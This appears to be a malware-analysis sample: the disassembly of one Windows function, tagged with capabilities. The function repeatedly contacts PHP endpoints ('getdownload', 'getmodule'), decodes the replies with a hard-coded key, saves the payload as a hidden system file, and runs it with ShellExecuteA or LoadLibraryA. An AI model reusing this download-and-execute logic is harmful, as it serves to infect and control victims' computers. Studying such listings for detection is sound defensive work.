Function at 0x401640
Capabilities:
Check if file exists
Create process on windows
Set file attributes

Disassembly:
push ebp
mov eax, 0x1936c
mov ebp, esp
push edi
push esi
push ebx
call fcn.00405b30
lea edi, [ebp - 0x19018]
call fcn.004028f0
mov dword [ebp - 0x19350], eax
mov byte [ebp - 0x19018], 0
jmp 0x40167f
mov dword [esp], 0xea60
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 0xc], edi
mov edx, dword [ebp - 0x19350]
mov ecx, 1
mov dword [esp + 8], ecx
mov esi, str.ftsri.php_getdownload
mov dword [esp + 4], esi
mov dword [esp], edx
call fcn.00402170
test al, al
je 0x401670
mov ecx, edi
lea esi, [esi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x4016b0
and edx, 0x8080
jne 0x4016d6
shr eax, 0x10
add ecx, 2
mov dword [esp], edi
add al, al
mov edx, str.s458fm5fmdm5drf547
sbb ecx, 3
mov esi, 0x12
sub ecx, edi
mov dword [esp + 4], ecx
mov dword [esp + 0xc], esi
mov dword [esp + 8], edx
call fcn.00402b10
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x1934c], eax
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [ecx]
add ecx, 4
lea eax, [ebx - 0x1010101]
not ebx
and eax, ebx
test eax, 0x80808080
je 0x401710
lea esi, [esi]
lea edi, [edi]
mov byte [ebp - 0x19128], 0
xor esi, esi
mov byte [ebp - 0x19355], 0
mov dword [esp], edi
call sub.msvcrt.dll_strlen
cmp dword [ebp - 0x1934c], eax
mov ebx, eax
jl 0x4018d0
xor eax, eax
mov dword [ebp - 0x19354], eax
movzx ecx, byte [ebp - 0x19354]
test cl, cl
je 0x401920
call fcn.00402750
mov dword [esp + 8], eax
mov edx, 0x408115
lea ebx, [ebp - 0x19128]
mov dword [esp + 0xc], ebx
lea esi, [ebp - 0x19238]
mov ebx, 0x40811b
mov dword [esp + 4], edx
mov dword [esp], esi
lea esi, [ebp - 0x19238]
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], ebx
lea ecx, [ebp - 0x19128]
mov eax, str.ftsri.php_getmodule
mov dword [esp + 0xc], ecx
lea edx, [ebp - 0x19348]
mov dword [esp + 8], eax
mov dword [esp], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x401730
mov ebx, dword [ebp - 0x19350]
lea ecx, [ebp - 0x19238]
mov esi, str.s458fm5fmdm5drf547
mov dword [esp + 8], ecx
lea eax, [ebp - 0x19348]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov ebx, 6
call fcn.00402370
mov dword [esp + 8], esi
lea ecx, [ebp - 0x19238]
mov edx, 0x12
mov dword [esp + 4], ecx
lea esi, [ebp - 0x19238]
mov dword [esp], ecx
mov dword [esp + 0xc], edx
call fcn.00402b50
mov dword [esp + 4], ebx
lea edx, [ebp - 0x19238]
mov dword [esp], edx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], esi
call fcn.00402a30
mov ecx, 0x408136
lea eax, [ebp - 0x19238]
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x401934
mov dword [esp], 0
mov ecx, 5
lea edx, [ebp - 0x19238]
mov dword [esp + 0x14], ecx
mov eax, 0x408047
mov ebx, 0x40804f
mov dword [esp + 0xc], ebx
mov esi, 0x408050
mov dword [esp + 8], edx
mov dword [esp + 4], esi
xor esi, esi
mov dword [esp + 0x10], eax
call sub.SHELL32.DLL_ShellExecuteA
mov byte [ebp - 0x19128], 0
sub esp, 0x18
mov byte [ebp - 0x19355], 0
mov dword [esp], edi
call sub.msvcrt.dll_strlen
cmp dword [ebp - 0x1934c], eax
mov ebx, eax
jge 0x401756
nop
lea esi, [esi]
mov edx, dword [ebp - 0x1934c]
jmp 0x4018eb
lea eax, [edx + 1]
cmp eax, ebx
mov edx, eax
mov dword [ebp - 0x1934c], eax
jge 0x40175e
cmp byte [ebp - 0x19355], 0
movzx ecx, byte [edi + edx]
je 0x401912
cmp cl, 0x22
je 0x401969
lea eax, [ebx - 1]
cmp edx, eax
jge 0x401982
mov byte [esi + ebp - 0x19128], cl
mov edx, dword [ebp - 0x1934c]
inc esi
cmp cl, 0x22
jne 0x4018d8
mov byte [ebp - 0x19355], 1
jmp 0x4018d8
mov dword [esp], 0x7530
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x401656
mov edx, 0x40813b
lea esi, [ebp - 0x19238]
mov dword [esp + 4], edx
mov dword [esp], esi
call sub.msvcrt.dll_strstr
test eax, eax
je 0x401730
lea ebx, [ebp - 0x19238]
mov dword [esp], ebx
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
jmp 0x401730
xor ecx, ecx
mov byte [esi + ebp - 0x19128], cl
inc dword [ebp - 0x1934c]
mov eax, 1
jmp 0x401758
mov byte [esi + ebp - 0x19128], cl
lea edx, [esi + 1]
cmp edx, 0x104
jge 0x401972
xor ebx, ebx
mov byte [ebp + esi - 0x19127], bl
jmp 0x401972